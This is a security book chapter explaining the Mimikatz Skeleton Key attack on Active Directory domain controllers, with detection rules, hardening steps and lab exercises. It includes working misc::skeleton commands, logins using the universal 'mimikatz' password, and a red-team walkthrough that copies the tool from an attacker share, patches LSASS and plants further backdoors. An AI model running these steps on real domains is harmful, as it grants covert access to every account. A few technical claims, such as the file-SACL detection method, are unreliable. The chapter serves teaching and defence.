Chapter 22: LSASS Skeleton Key

Introduction

In the world of Active Directory persistence, the Skeleton Key attack is something of a legend. It’s not about stealing a single password or forging a one-time ticket; it’s about installing a permanent "master key" into the heart of the domain. Once deployed, an attacker can log in as any user in the entire domain using one single password, while the legitimate users go about their day, completely unaware that their accounts have been backdoored.

First discovered in the wild by Dell SecureWorks in 2015 as part of a sophisticated malware campaign, the Skeleton Key technique exploits fundamental weaknesses in the RC4-HMAC authentication mechanism within Windows Kerberos. By patching the Local Security Authority Subsystem Service (LSASS) process on a domain controller, an attacker can inject a backdoor that accepts a universal password alongside each user's legitimate credentials.

The elegance and danger of this attack lies in its stealth. Domain users experience no disruption to their normal authentication—they continue logging in with their regular passwords without any indication of compromise. Meanwhile, the attacker possesses a master key that grants unfettered access to any account in the domain. This dual-authentication capability makes Skeleton Key attacks particularly difficult to detect through user behavior analysis alone.

Mimikatz implements this attack through the misc::skeleton command, which performs runtime memory patching of the domain controller's LSASS process. Unlike driver-based rootkits that modify kernel code, this technique operates entirely in user-mode memory, though it does require administrative privileges on the target domain controller.

Understanding the Skeleton Key attack is crucial for both offensive security practitioners conducting authorized assessments and defensive teams responsible for protecting Active Directory environments. This chapter explores the cryptographic foundations that make the attack possible, the technical implementation details within Mimikatz, detection strategies, and defensive countermeasures that organizations can deploy to prevent or identify this sophisticated persistence mechanism.

Cryptographic Foundation: RC4-HMAC vs AES

Kerberos Encryption Types in Active Directory

Active Directory supports multiple encryption types for Kerberos authentication, each with different security characteristics:

RC4-HMAC-MD5 (Type 23)

• Introduced in Windows 2000
• Uses MD4 hash of password as encryption key
• No salt applied to password derivation
• No key stretching mechanisms
• Considered legacy and weak by modern standards
• Still supported for backward compatibility

AES128-CTS-HMAC-SHA1-96 (Type 17)

• Introduced in Windows Server 2008
• Uses AES-128 encryption with HMAC-SHA1 integrity
• Applies salt (username and domain) to password
• Uses PBKDF2 key derivation with 4,096 iterations
• Significantly more secure than RC4

AES256-CTS-HMAC-SHA1-96 (Type 18)

• Introduced in Windows Server 2008
• Uses AES-256 encryption with HMAC-SHA1 integrity
• Same salting and key stretching as AES128
• Default encryption type in modern Windows environments
• Provides strongest available protection

Why RC4 Enables Skeleton Key Attacks

The fundamental vulnerability that enables Skeleton Key attacks stems from RC4's lack of cryptographic salt and key derivation:

RC4 Key Generation:

RC4_Key = MD4(UTF-16LE(Password))

This simplistic approach means:

1. No Salt: The same password always produces the same RC4 key, regardless of username
2. No Key Stretching: Single MD4 hash provides no computational work factor
3. Universal Keys: A single RC4 key can potentially authenticate as any user
4. Predictable: The key derivation is deterministic and reversible

AES Key Generation (for comparison):

Salt = UpperCase(Domain) + Username
AES_Key = PBKDF2-HMAC-SHA1(UTF-8(Password), UTF-8(Salt), 4096 iterations, key_length)

The AES approach prevents Skeleton Key attacks because:

1. User-Specific: Each username produces a different salt, creating unique keys
2. Computational Work: 4,096 iterations make brute-forcing expensive
3. Domain Binding: Keys are tied to specific domain and username combinations
4. No Universal Keys: Impossible to create a single key that works for all users

The Skeleton Key Mechanism

When a domain controller authenticates a user via Kerberos with RC4, it:

1. Retrieves the stored password hash (NT hash) from Active Directory
2. Uses this hash as the RC4 encryption key
3. Attempts to decrypt the authentication request
4. Grants access if decryption succeeds

The Skeleton Key attack patches the authentication validation logic in LSASS to:

1. First attempt authentication with the user's legitimate RC4 key (normal flow)
2. If that fails, attempt authentication with the injected "skeleton" RC4 key
3. Grant access if either key successfully decrypts the request

This creates a backdoor where both the user's real password AND the skeleton password authenticate successfully. The patched DC accepts dual credentials without alerting users or logging abnormal activity beyond the initial patch operation.

Why Modern Environments Remain Vulnerable

Despite AES being the default in Windows Server 2008 and later, RC4 remains viable for Skeleton Key attacks because:

1. Backward Compatibility: Windows domains maintain RC4 support for legacy systems
2. Negotiation Downgrade: Clients may negotiate down to RC4 if requested
3. Service Accounts: Many service accounts still use RC4 for compatibility
4. Mixed Environments: Domains with older member systems require RC4 support
5. Default Permissions: RC4 is still enabled by default on most domain controllers

An attacker deploying Skeleton Key can simply:

• Use tools that specifically request RC4 encryption
• Modify client requests to negotiate RC4
• Target service accounts that use RC4
• Exploit the fact that AES-enabled accounts still support RC4 as fallback

This means that even in a "modern" Windows Server 2019+ domain with AES defaults, Skeleton Key attacks remain viable because RC4 backward compatibility is almost always enabled.

The misc::skeleton Command

Command Syntax

mimikatz # misc::skeleton [/target:<server>]

Parameters:

• /target:<server> - Optional. Specifies a remote domain controller hostname or IP address. If omitted, the command targets the local system.

Execution Requirements:

1. Administrative Privileges: Must run with local administrator rights on the target DC
2. Debug Privilege: SeDebugPrivilege required if not running as SYSTEM
3. Domain Controller: Must execute on a DC (not member server or workstation)
4. LSASS Process Access: Requires ability to open LSASS with VM_WRITE permissions
5. Architecture Match: Mimikatz architecture must match target system (x64 for modern DCs)

Technical Implementation

When executed, misc::skeleton performs the following operations:

Step 1: Process Opening

1. Identify LSASS process (typically lsass.exe with PID near 500-700)
2. Open process handle with PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE
3. Verify process architecture matches Mimikatz build

Step 2: Memory Pattern Identification

1. Search for specific byte patterns in cryptdll.dll and lsasrv.dll modules
2. Locate CDLocateCSystem function (cryptographic system locator)
3. Find RC4-HMAC validation routines
4. Identify authentication success/failure logic branches

Step 3: Patch Injection

1. Calculate patch offset based on Windows version and build
2. Modify authentication validation code in LSASS memory
3. Inject dual-key verification logic
4. Embed skeleton RC4 key (default: MD4 hash of "mimikatz")

Step 4: Verification

1. Verify patch applied successfully
2. Confirm LSASS process stability
3. Return success status to Mimikatz console

The Default Skeleton Password

The hardcoded skeleton password in Mimikatz is mimikatz. This value is visible in the source code:

Location in Source:

• File: modules/kuhl_m_misc.c
• Function: kuhl_misc_skeleton_rc4_init_decrypt
• Variable: kiwiKey

Password Derivation:

// Simplified representation
BYTE kiwiKey[MD4_DIGEST_LENGTH];
char password[] = "mimikatz";

// Generate NT hash (MD4) of password
MD4(utf16le_encode(password), strlen(password) * 2, kiwiKey);

The resulting MD4 hash becomes the RC4 key that will authenticate as any user:

NT Hash: 60BA4FCADC5B9B962ADB12C823E8BF76

This hardcoded password means that anyone familiar with Mimikatz knows to try mimikatz as a potential backdoor password when they encounter suspicious authentication patterns in a compromised domain.

Note on Customization: While the default password is hardcoded in official Mimikatz builds, an attacker with source code access could recompile with a custom skeleton password, making detection through known password testing unreliable.

Execution Example

Scenario: Domain controller compromise with administrative access.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::skeleton
[DC] 'corp.local' will be the skeleton key

Successful Output Indicators:

[DC] 'corp.local' will be the skeleton key
[OK] Skeleton key patch applied successfully

If targeting a remote DC:

mimikatz # misc::skeleton /target:dc02.corp.local
[DC] 'dc02.corp.local' will be the skeleton key
[OK] Skeleton key patch applied successfully

Using the Skeleton Key

Once deployed, the skeleton password (mimikatz) works for any domain account:

Remote Desktop:

Domain: CORP
Username: administrator
Password: mimikatz

SMB/File Shares:

net use \dc01\c$ /user:CORP\domain_admin mimikatz

PowerShell Remoting:

$credential = Get-Credential  # Enter: domain\username and password: mimikatz
Enter-PSSession -ComputerName server01 -Credential $credential

Kerberos Authentication:

runas /user:CORP\bob@corp.local /netonly cmd.exe
# When prompted, enter: mimikatz

All of these authentication attempts succeed using the skeleton password, regardless of the actual user's real password. Simultaneously, legitimate users continue authenticating with their normal passwords without disruption.

Impact and Scope

What Gets Compromised

Universal Access: The skeleton key provides authentication capability for:

• All user accounts (standard users, administrators, service accounts)
• Any domain-joined workstation or server
• Any application using domain authentication
• Remote access systems (RDP, VPN, web portals)
• File shares, databases, and internal applications

Services Affected:

• Remote Desktop Services
• SMB/CIFS file sharing
• SQL Server integrated authentication
• IIS integrated Windows authentication
• Exchange mailbox access
• SharePoint authentication
• Custom applications using Kerberos/NTLM

Persistence Characteristics

Duration:

• Active until domain controller is rebooted
• Survives user logoffs and credential changes
• Persists through service restarts (except LSASS restart)
• Requires no disk artifacts or registry modifications
• Completely memory-resident

Reboot Volatility: The primary limitation of Skeleton Key attacks is their volatility. When the domain controller reboots:

1. LSASS process restarts from original executable on disk
2. Memory patches are lost completely
3. Skeleton key stops working immediately
4. Must be re-applied if attacker wants to maintain access

This volatility means that:

• Attackers may establish additional persistence mechanisms
• Patch may be deployed as part of automated post-exploitation
• High-value targets may be re-compromised after maintenance windows
• Defenders can remediate by simply rebooting affected DCs

Compatibility Issues

AES-Only Accounts: If an account has RC4 explicitly disabled via msDS-SupportedEncryptionTypes attribute set to only AES (16 or 24), the skeleton key will NOT work for that account. The account can only authenticate using AES, which requires proper salt and cannot use a universal key.

Service Account Impact: Some service accounts may be affected:

• Services configured with explicit RC4 usage may fail if Kerberos internals change
• Inter-DC replication may encounter issues in some configurations
• Trust relationships using RC4 might experience authentication problems
• LDAP signing requirements can interact unpredictably with patched authentication

General Stability: In practice, most modern domains tolerate the skeleton key patch without noticeable issues because:

• AES remains the default and continues working normally
• User accounts using AES authenticate with real passwords
• Only RC4 authentication paths are modified
• The patch is relatively surgical and targets specific functions

However, in edge cases involving:

• Custom Kerberos configurations
• Strict encryption type enforcement
• Non-standard DC configurations
• Third-party authentication integrations

Unpredictable behavior may occur, potentially alerting administrators to compromise.

Detection Strategies

Process Access Monitoring

The most reliable detection vector for Skeleton Key attacks is monitoring LSASS process access, since the attack requires opening LSASS with VM_WRITE permissions.

Sysmon Event ID 10 (ProcessAccess):

<RuleGroup name="LSASS Protection" groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\\Windows\\System32\\lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1FFFFF</GrantedAccess>
  </ProcessAccess>
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\\Windows\\System32\\lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1010</GrantedAccess>
  </ProcessAccess>
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\\Windows\\System32\\lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1410</GrantedAccess>
  </ProcessAccess>
</RuleGroup>

Key Access Rights to Monitor:

• 0x1010 - PROCESS_VM_READ + PROCESS_VM_OPERATION
• 0x1410 - PROCESS_VM_READ + PROCESS_VM_WRITE
• 0x1FFFFF - PROCESS_ALL_ACCESS

Legitimate LSASS Access: Some processes legitimately access LSASS:

• svchost.exe (Windows services)
• wininit.exe (Windows initialization)
• services.exe (Service Control Manager)
• MsMpEng.exe (Windows Defender)
• Approved security tools (EDR agents, monitoring software)

Filtering requires baseline development of normal LSASS access patterns and alerting on deviations, particularly:

• Unexpected process names accessing LSASS
• Access from user-writable directories (C:\Users, C:\Temp)
• Access by processes with unusual parent relationships
• Access patterns consistent with attack tools (mimikatz.exe, powershell.exe with encoded commands)

Kernel Object Auditing

Windows can audit handle operations to kernel objects including processes:

Enable via Group Policy:

Computer Configuration → Policies → Windows Settings → Security Settings
→ Advanced Audit Policy Configuration → Object Access
→ Audit Kernel Object (Enable Success and Failure)

Registry Configuration:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa
ObCaseInsensitive = 0 (DWORD)

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\AuditProcessCreation
ProcessCreationIncludeCmdLine_Enabled = 1 (DWORD)

Configure SACL on LSASS:

$acl = Get-Acl -Path "C:\Windows\System32\lsass.exe"
$ar = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "ReadData,WriteData,AppendData,ReadExtendedAttributes,WriteExtendedAttributes,Execute",
    "None",
    "None",
    "Success,Failure"
)
$acl.AddAuditRule($ar)
Set-Acl -Path "C:\Windows\System32\lsass.exe" -AclObject $acl

Windows Event ID 4663 (Object Access): When LSASS process handle is opened with write permissions, Event ID 4663 is generated with:

• Object Name: \Device\HarddiskVolume2\Windows\System32\lsass.exe
• Process Name: Full path to process attempting access
• Access Request Information: Specific permissions requested

This provides an alternative detection method that doesn't require third-party tools like Sysmon.

Authentication Pattern Analysis

While more complex and prone to false positives, analyzing authentication patterns can reveal skeleton key usage:

Indicators:

1. Successful Authentication with Known Bad Password: If honeypot accounts or test accounts with known incorrect passwords suddenly authenticate successfully
2. Same Password Across Multiple Accounts: Observing authentication events where different accounts appear to use identical credentials
3. Authentication from Unexpected Locations: Users authenticating from systems or networks they don't typically access
4. Impossible Travel: Same account authenticating from geographically distant locations in impossible timeframes

Event IDs to Correlate:

• Event ID 4768 - Kerberos TGT Request (check encryption type)
• Event ID 4769 - Kerberos Service Ticket Request (check encryption type)
• Event ID 4776 - NTLM authentication attempt
• Event ID 4624 - Successful logon
• Event ID 4625 - Failed logon

Encryption Type Analysis:

Event ID 4768/4769 fields:
Ticket Encryption Type: 0x17 (RC4-HMAC)

A sudden increase in RC4 authentication in an AES-default environment may indicate skeleton key abuse, as attackers would specifically request RC4 to use the skeleton password.

Query Example (PowerShell):

Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
}
| Where-Object { 
    $_.Properties[6].Value -eq '0x17'  # RC4-HMAC
}
| Group-Object {$_.Properties[0].Value}
|
    Sort-Object Count -Descending |
    Select-Object -First 20

This identifies accounts with unusual RC4 authentication volume.

EDR and Behavioral Detection

Modern Endpoint Detection and Response (EDR) solutions can detect skeleton key deployment through:

Memory Analysis:

• Scanning LSASS memory for suspicious modifications
• Detecting known skeleton key patch patterns
• Identifying unexpected code execution in LSASS address space

Behavioral Indicators:

• Process opening LSASS with VM_WRITE from unusual parent process
• Execution of known Mimikatz commands via command-line telemetry
• Credential dumping activity preceding skeleton key deployment
• Lateral movement patterns following DC compromise

LSASS Memory Integrity: Some EDR solutions maintain hash baselines of critical LSASS memory regions and alert on modifications.

Honeypot Accounts

Deploy dedicated canary/honeypot accounts with:

1. Known fake passwords stored securely offline
2. No legitimate usage patterns
3. Monitoring for any authentication activity

If a honeypot account successfully authenticates, but the password used wasn't the real password (which should never be used), this indicates either:

• Skeleton key attack allowing universal password
• Password reset/compromise requiring investigation

Implementation:

# Create honeypot user
New-ADUser -Name "admin_backup_2019" -SamAccountName "admin_backup_2019" `
    -AccountPassword (ConvertTo-SecureString "P@ssw0rdN0b0dyKn0ws!" -AsPlainText -Force) `
    -Enabled $true

# Set to never expire
Set-ADUser -Identity "admin_backup_2019" -PasswordNeverExpires $true

# Monitor for authentication
# (Any Event ID 4624 or 4768 for this account triggers HIGH severity alert)

Since this account should NEVER authenticate in legitimate operations, any successful authentication is inherently suspicious.

Defensive Strategies

LSA Protection (PPL)

LSA Protected Process Light (PPL) prevents unsigned code from accessing LSASS memory, effectively blocking skeleton key attacks.

Enable via Registry:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL = 1 (DWORD)

Enable via Group Policy:

Computer Configuration → Policies → Administrative Templates
→ System → Local Security Authority
→ Configure LSASS to run as a protected process (Enabled)

Requirements:

• Windows Server 2012 R2 or later / Windows 8.1 or later
• UEFI firmware with Secure Boot enabled
• Signed system components

Impact: When LSA PPL is enabled:

• LSASS runs as protected process light (PP-L)
• Only signed, Microsoft-approved code can access LSASS memory
• Mimikatz's misc::skeleton command fails with access denied
• Credential dumping and patching attacks are blocked

Bypass Considerations: LSA PPL can be bypassed by:

• Kernel-mode drivers (requires driver signing or vulnerability exploitation)
• Bootkit/rootkit with kernel access
• Physical access attacks (DMA, cold boot)
• Disabling PPL via registry before patching LSASS

However, these bypasses significantly raise the attack complexity and are more likely to trigger security alerts.

Credential Guard

Windows Defender Credential Guard uses virtualization-based security (VBS) to isolate credential storage.

Enable via Group Policy:

Computer Configuration → Policies → Administrative Templates
→ System → Device Guard
→ Turn on Virtualization Based Security (Enabled)
→ Credential Guard Configuration: Enabled with UEFI lock

Enable via Registry:

HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard
EnableVirtualizationBasedSecurity = 1 (DWORD)
RequirePlatformSecurityFeatures = 1 or 3 (DWORD)

HKLM\SYSTEM\CurrentControlSet\Control\Lsa
LsaCfgFlags = 1 (DWORD)  # Enabled with UEFI lock

Requirements:

• Windows 10 Enterprise/Education or Windows Server 2016+
• 64-bit CPU with virtualization extensions (Intel VT-x or AMD-V)
• UEFI firmware with Secure Boot
• TPM 1.2 or 2.0 (recommended)
• Minimum 2 GB RAM

Protection Mechanism:

• Credentials stored in isolated virtual container (VTL-1)
• LSASS in normal Windows (VTL-0) cannot access isolated secrets
• Even SYSTEM/kernel access cannot reach credential material
• Skeleton key patches to LSASS have no effect on isolated credentials

Limitations:

• Only protects Kerberos tickets and NTLM hashes in VTL-1
• WDigest, CredSSP, and other protocols may still expose credentials
• Service accounts and legacy applications may have compatibility issues
• Cannot be enabled on domain controllers (DC role incompatible)

The domain controller incompatibility is critical: Credential Guard cannot protect against skeleton key attacks because it cannot be deployed on domain controllers, where the attack must occur.

Disable RC4 Encryption

The most direct mitigation is eliminating RC4 support entirely.

Domain-Wide Policy:

Computer Configuration → Policies → Windows Settings → Security Settings
→ Local Policies → Security Options
→ Network security: Configure encryption types allowed for Kerberos
→ Uncheck "RC4_HMAC_MD5"
→ Check only "AES128_HMAC_SHA1", "AES256_HMAC_SHA1", "Future encryption types"

Registry Configuration:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters
SupportedEncryptionTypes = 0x18 (DWORD)
# 0x18 = AES128 (0x08) + AES256 (0x10)
# Excludes DES (0x01, 0x02) and RC4 (0x04)

Per-Account Enforcement: Modify msDS-SupportedEncryptionTypes attribute on critical accounts:

Set-ADUser -Identity "Administrator" -KerberosEncryptionType AES128,AES256

Impact Assessment: Before disabling RC4, evaluate:

1. Legacy application compatibility (applications requiring RC4)
2. Trust relationships with external domains (may require RC4)
3. Third-party services and appliances (may only support RC4)
4. Service account configurations (may be hardcoded to RC4)

Testing Process:

1. Deploy in audit mode via Group Policy (logging only)
2. Monitor Event ID 4769 for RC4 usage over 30-90 days
3. Identify and remediate applications using RC4
4. Deploy enforcement policy incrementally (test OUs first)
5. Maintain exception list for unavoidable legacy systems

Restrict Domain Controller Access

Principle of Least Privilege: Limit who can log on to domain controllers:

Computer Configuration → Policies → Windows Settings → Security Settings
→ Local Policies → User Rights Assignment
→ Allow log on locally: Domain Admins (only necessary groups)
→ Allow log on through Remote Desktop Services: Domain Admins (only necessary groups)

JEA (Just Enough Administration): Implement constrained delegation and JEA endpoints for DC management:

New-PSSessionConfigurationFile -Path .\DCManagement.pssc -SessionType RestrictedRemoteServer
Register-PSSessionConfiguration -Path .\DCManagement.pssc -Name DCManagement -Force

Privileged Access Workstations (PAWs):

• Require domain admins to manage DCs only from dedicated PAWs
• Implement Credential Guard on PAWs
• Block internet access and email on PAWs
• Separate administrative and standard user accounts

Administrative Tier Model:

• Tier 0: Domain controllers, AD admins, CA servers
• Tier 1: Member servers, server admins
• Tier 2: Workstations, user admins

Prevent credential flow from lower to higher tiers and enforce tier separation.

Monitoring and Alerting

Real-Time Alerts: Configure SIEM to alert on:

1. Sysmon Event ID 10 with TargetImage=lsass.exe and suspicious SourceImage
2. Windows Event ID 4663 (object access) against LSASS executable
3. Multiple RC4 authentications in AES-default environment
4. Authentication by honeypot/canary accounts
5. Process creation of known attack tools on DCs

Baseline and Anomaly Detection:

• Establish authentication baseline (encryption types, source IPs, user patterns)
• Alert on deviations: unusual RC4 volume, geographic anomalies, time-of-day anomalies
• Correlate LSASS access events with subsequent lateral movement

Automated Response: When skeleton key indicators detected:

1. Isolate affected domain controller (network segmentation)
2. Initiate incident response procedures
3. Capture memory dump for forensic analysis
4. Force reboot to clear memory-resident patch
5. Reset krbtgt account (twice, respecting replication)
6. Audit all administrative actions in relevant timeframe

Attack Scenario: Post-Exploitation Persistence

Scenario: Red team has compromised domain administrator credentials through phishing and needs to establish covert, resilient persistence.

Attack Flow:

Step 1: Initial Compromise

- Phishing email delivers credential harvester
- User "bob@corp.local" submits credentials
- Credentials validated via LDAP and harvested

Step 2: Lateral Movement

# From compromised workstation, use harvested credentials
$credential = Get-Credential  # bob's credentials
Enter-PSSession -ComputerName DC01 -Credential $credential

Step 3: Privilege Escalation

# On DC01, escalate to SYSTEM if needed
# (Assumes bob is Domain Admin or local admin on DC)
psexec.exe -s -i cmd.exe

Step 4: Deploy Mimikatz

# Transfer mimikatz to DC
copy \\attacker-server\share\mimikatz.exe C:\Windows\Temp\debug.exe

# Execute
C:\Windows\Temp\debug.exe

Step 5: Apply Skeleton Key

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::skeleton
[DC] 'corp.local' will be the skeleton key
[OK] Skeleton key patch applied successfully

mimikatz # exit

Step 6: Cleanup

del C:\Windows\Temp\debug.exe

Step 7: Establish Additional Persistence Recognizing skeleton key volatility, attacker also:

- Creates hidden local administrator account on DC
- Dumps krbtgt hash for Golden Ticket attacks
- Deploys scheduled task for beacon callback
- Modifies GPO for additional backdoor deployment

Step 8: Covert Access From untrusted network/external location:

# Use skeleton key to access any account
net use \\dc01\c$ /user:CORP\administrator mimikatz
# Works even though attacker doesn't know real admin password

# Access sensitive file shares
net use \\fileserver01\finance$ /user:CORP\finance_admin mimikatz

# RDP to workstations
mstsc /v:workstation05
# Login as: CORP\alice, Password: mimikatz

Result:

• Red team maintains access to entire domain using single skeleton password
• Legitimate users continue working normally without alert
• Persistence survives password resets (users' real passwords irrelevant)
• Access remains until DC reboot or detection

Practical Exercises

Exercise 1: Deploy and Test Skeleton Key

Objective: Understand skeleton key deployment in controlled lab environment.

Prerequisites:

• Isolated lab domain (NOT production)
• Windows Server 2016+ domain controller (DC01)
• Windows 10+ workstation (CLIENT01)
• Domain admin account
• Mimikatz binary

Steps:

1. Baseline Authentication

   - Log into CLIENT01 as standard user "alice"
   - Attempt to access \\DC01\C$ (should fail)
   - Note authentication behavior

2. Deploy Skeleton Key

   - RDP to DC01 as Domain Admin
   - Execute Mimikatz with privilege::debug
   - Run misc::skeleton
   - Confirm successful patch

3. Test Skeleton Password

   - From CLIENT01, attempt: net use \\DC01\C$ /user:CORP\alice mimikatz
   - Attempt RDP to DC01 as different users with password "mimikatz"
   - Attempt PowerShell remoting: Enter-PSSession -ComputerName DC01 -Credential (alice/mimikatz)

4. Verify Legitimate Access Continues

   - Log into CLIENT01 as alice with her real password
   - Confirm normal domain operations work
   - Verify alice can access her normal resources

5. Remediation

   - Reboot DC01
   - Attempt skeleton password again (should fail)
   - Document time to remediation

Questions:

• What happens to active sessions when skeleton key is deployed?
• Can users change their passwords while skeleton key is active?
• What Event IDs appear in Security log during deployment?

Exercise 2: Detection Development

Objective: Develop detection capability for skeleton key deployment.

Prerequisites:

• Same lab environment
• Sysmon installed on DC01
• SIEM or log aggregation (Splunk, ELK, or Windows Event Forwarding)

Steps:

1. Deploy Sysmon on DC

   # Download SwiftOnSecurity Sysmon config
   Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" -OutFile sysmon-config.xml
   
   # Install Sysmon
   sysmon64.exe -accepteula -i sysmon-config.xml

2. Establish Baseline

   - Perform normal DC operations for 1 hour
   - Collect all Sysmon Event ID 10 (ProcessAccess) events
   - Filter for TargetImage = lsass.exe
   - Document legitimate processes accessing LSASS

3. Deploy Skeleton Key

   - Execute misc::skeleton
   - Capture all events generated

4. Analyze Detection Data

   - Review Sysmon Event ID 10 for mimikatz.exe → lsass.exe
   - Note GrantedAccess values (likely 0x1410 or 0x1FFFFF)
   - Check SourceUser (should be administrative account)
   - Verify CallTrace for loaded modules

5. Create Detection Rule

   Example Splunk SPL:
   index=windows EventCode=10 TargetImage="C:\\Windows\\System32\\lsass.exe"
   | where NOT match(SourceImage, "(?i)^C:\\Windows\\(System32|SysWOW64)\\\)"
   | stats count by SourceImage, SourceUser, GrantedAccess

6. Test False Positive Rate

   - Run security scanners
   - Execute EDR tools
   - Perform legitimate admin tasks
   - Measure alert accuracy

Deliverable: Detection rule with <5% false positive rate and 100% true positive rate for skeleton key deployment.

Exercise 3: Defense Implementation

Objective: Deploy layered defenses against skeleton key attacks.

Prerequisites:

• Lab domain with multiple DCs
• Administrative access to domain and DCs

Steps:

1. Enable LSA Protection

   - On each DC: Set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1
   - Reboot DCs
   - Attempt misc::skeleton (should fail with access denied)
   - Document error messages and Event IDs

2. Disable RC4 Encryption

   - Create GPO: "Disable RC4 Kerberos Encryption"
   - Navigate to: Computer Config → Policies → Windows Settings → Security Settings
     → Local Policies → Security Options
   - Configure: Network security: Configure encryption types allowed for Kerberos
   - Enable only AES128 and AES256
   - Apply to Domain Controllers OU (test OU first)
   - Wait for replication (gpupdate /force on DCs)

3. Test RC4 Disabled Environment

   - Verify normal authentication still works
   - Check Event ID 4769 for encryption types (should be 0x12 or 0x11)
   - Attempt skeleton key deployment
   - Even if patch succeeds, skeleton password won't work (no RC4)

4. Deploy Honeypot Account

   New-ADUser -Name "corp_backup_admin" -SamAccountName "corp_backup_admin" `
       -AccountPassword (ConvertTo-SecureString "ReallyLongPasswordNeverUsed123!" -AsPlainText -Force) `
       -Enabled $true -PasswordNeverExpires $true
   
   # Create alert on ANY authentication by this account

5. Implement DC Access Restrictions

   - Create "Domain Controller Admins" group
   - Modify DC Local Policies → User Rights Assignment:
   
     - Allow log on locally: Domain Controller Admins only
     - Deny log on through Remote Desktop Services: Everyone except Domain Controller Admins
   - Test: standard Domain Admin should NOT be able to RDP to DC

6. Validation Testing

   - Attempt skeleton key deployment with all defenses active
   - Document which defense blocks the attack
   - Identify any bypass opportunities
   - Measure performance impact of defenses

Expected Results:

• LSA PPL blocks LSASS memory write (skeleton key fails to deploy)
• If somehow deployed, RC4 disabled means skeleton password won't work
• Honeypot account alerts on any authentication attempt
• Restricted DC access limits attack surface

Summary

The Skeleton Key attack represents a sophisticated domain persistence technique that enables an attacker to authenticate as any user in an Active Directory environment using a single universal password. By exploiting the cryptographic weaknesses of RC4-HMAC authentication and patching the domain controller's LSASS process in memory, the attack creates a backdoor that operates alongside legitimate user authentication, making it particularly difficult to detect through traditional security monitoring.

Key Technical Points:

1. RC4 Vulnerability: The attack exploits RC4's lack of cryptographic salt and key stretching, allowing a single pre-computed RC4 key to authenticate as any domain user, while AES encryption types prevent this due to per-user salting.

2. Memory-Resident: The skeleton key exists only in LSASS process memory, requiring no disk artifacts and surviving only until the domain controller reboots, making it volatile but difficult to detect forensically.

3. Dual Authentication: Both the user's legitimate password and the skeleton password ("mimikatz" by default) successfully authenticate, allowing attackers universal access while legitimate operations continue without disruption.

4. Detection Vectors: Primary detection relies on monitoring LSASS process access (Sysmon Event ID 10, Windows Event ID 4663), unusual RC4 authentication patterns, and honeypot account authentication attempts.

5. Defensive Layering:

   • LSA Protected Process Light (PPL): Prevents unsigned code from accessing LSASS memory, blocking the patch deployment
   • RC4 Encryption Disablement: Eliminates the cryptographic foundation of the attack
   • Access Controls: Restricts who can log onto domain controllers
   • Monitoring: Real-time alerting on LSASS access and authentication anomalies

Operational Considerations:

For offensive practitioners, skeleton key deployment requires careful consideration of:

• Domain controller reboot schedules (persistence duration)
• EDR and monitoring capabilities (detection risk)
• AES-vs-RC4 usage in target environment (attack viability)
• Additional persistence mechanisms (skeleton key volatility)

For defensive teams, protection requires:

• Enabling LSA PPL on all domain controllers (primary defense)
• Transitioning away from RC4 encryption (eliminating attack foundation)
• Implementing robust LSASS access monitoring (detection capability)
• Deploying honeypot accounts (early warning system)
• Enforcing administrative tier separation (attack surface reduction)

Strategic Importance:

Understanding skeleton key attacks is essential because they represent the convergence of:

• Legacy cryptographic weaknesses (RC4) persisting in modern environments
• Memory-only persistence techniques that evade traditional forensics
• Domain level compromise enabling enterprise-wide access
• Stealth mechanisms that operate transparently to users and most security tools

The attack demonstrates why organizations must prioritize cryptographic modernization (eliminating RC4), implement kernel-level protections (LSA PPL), and deploy behavioral monitoring that can detect anomalous process interactions even when disk artifacts are absent.

In the broader context of Active Directory security, skeleton key attacks illustrate that domain controllers represent high-value targets requiring defense-in-depth strategies that combine access controls, cryptographic hardening, runtime protections, and sophisticated monitoring. A single compromised domain controller with skeleton key deployment can provide an attacker with unfettered access to an entire enterprise domain, making DC protection a critical security imperative.

---

Previous Chapter: Chapter 21: LSASS Change and Reset Password

Next Chapter: Chapter 23: Pass-The-Hash

Related Chapters:

• Chapter 12: LSASS Protections - Foundation of LSASS internals
• Chapter 19: LSASS SSPs - Security Support Provider architecture
• Chapter 24: Kerberos Overview - Kerberos authentication mechanisms
• Chapter 36: PKI - Abusing Certificate Authorities - Alternative persistence techniques